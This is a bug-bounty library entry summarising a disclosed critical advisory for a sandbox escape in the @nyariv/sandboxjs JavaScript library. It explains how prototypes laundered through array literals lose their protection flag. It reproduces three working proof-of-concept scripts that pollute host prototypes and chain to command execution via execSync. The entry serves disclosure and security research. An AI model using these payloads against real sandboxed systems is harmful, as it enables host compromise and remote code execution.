# @nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)

SandboxJS taint flag isGlobal is stripped when a global prototype passes through an array literal, letting sandboxed code pollute host prototypes and reach RCE via host gadgets.

- Payout: Research
- Severity: critical
- Program: SandboxJS
- Found by: k14uz
- Disclosed: 2026-02-10
- CVE: CVE-2026-25881
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-ww7g-4gwx-m7wj
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-ww7g-4gwx-m7wj
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:prototype-pollution vuln:rce vuln:sandbox-escape

**Target:** JavaScript sandbox library (@nyariv/sandboxjs) executing untrusted code
**Root cause:** The Prop.isGlobal taint that blocks writes to global objects/prototypes is dropped when values are unwrapped via valueOrProp() during array/object literal creation, so a prototype retrieved from an array loses its protection flag and the set() guard never fires.
**Steps:**
1. Create sandbox: `const sandbox = new Sandbox()` from `@nyariv/sandboxjs`.
2. Compile sandboxed code that launders the prototype through an array: `const arr=[Map.prototype]; const p=arr[0]; p.polluted='pwned';`.
3. Run it; observe host-side `new Map().polluted === 'pwned'` (persistent pollution).
4. Overwrite built-in method: `const s=[Set.prototype][0]; s.has=isFinite;` yields `Set.prototype.has === isFinite`.
5. For RCE, pollute `m.cmd='id'` on `Map.prototype`, then host code calling `execSync(obj.cmd)` executes `id`.
**How found:** Reporter analyzed the isGlobal taint-tracking protection in Prop/set() and noticed the CreateArray handler maps items through valueOrProp(), unwrapping Prop into raw values; hypothesized the taint would be lost through array literals and tested retrieving Map.prototype/Set.prototype from an array to confirm the guard bypass.
**Exploitation:** Sandboxed untrusted code accesses a global prototype (Map.prototype/Set.prototype), wraps it in an array literal, and retrieves it; the isGlobal taint is stripped so direct mutation of host built-in prototypes succeeds. Pollution persists in the host process and becomes RCE when host code passes a polluted property into a sensitive sink such as child_process.execSync.
**Escalation:** Prototype pollution escalates to RCE by planting a property (e.g. cmd) consumed by a host-side gadget like execSync; also enables overwriting built-in methods such as Set.prototype.has to break host logic.
**Insight:** When a sandbox enforces security via taint flags on wrapper objects, audit every path that unwraps wrappers into raw values (array/object literals, spreads, destructuring) — any unwrap drops the taint; test by round-tripping a protected reference through a container and mutating it.

## Proof of concept (copied exactly from the original report)

**Sandbox PoC polluting Map.prototype via array**

```
const Sandbox = require('@nyariv/sandboxjs').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const arr=[Map.prototype];
  const p=arr[0];
  p.polluted='pwned';
  return 'done';
`)().run();

console.log('polluted' in ({}), new Map().polluted);
```

**Overwrite Set.prototype.has via array**

```
const Sandbox = require('@nyariv/sandboxjs').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const s=[Set.prototype][0];
  s.has=isFinite;
  return 'done';
`)().run();

console.log('has overwritten:', Set.prototype.has === isFinite);
```

**RCE via polluted Map.prototype.cmd to execSync**

```
const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');
const sandbox = new Sandbox();

sandbox.compile(`
  const m=[Map.prototype][0];
  m.cmd='id';
  return 'done';
`)().run();

const obj = new Map();
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);
```

